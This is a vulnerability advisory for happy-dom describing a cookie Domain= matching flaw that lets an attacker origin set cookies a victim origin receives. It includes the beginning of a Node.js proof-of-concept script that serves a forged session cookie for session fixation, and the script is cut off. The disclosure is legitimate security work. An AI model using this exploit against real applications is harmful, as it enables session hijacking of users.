Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

Summary

A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.

Details

happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.

PoC

Run:

node poc-happydom-cookie-domain.js

Full proof-of-concept source (poc-happydom-cookie-domain.js):

// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
//        -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
//        -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
//        -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');

const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost

let victimReceivedCookies = [];

let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path…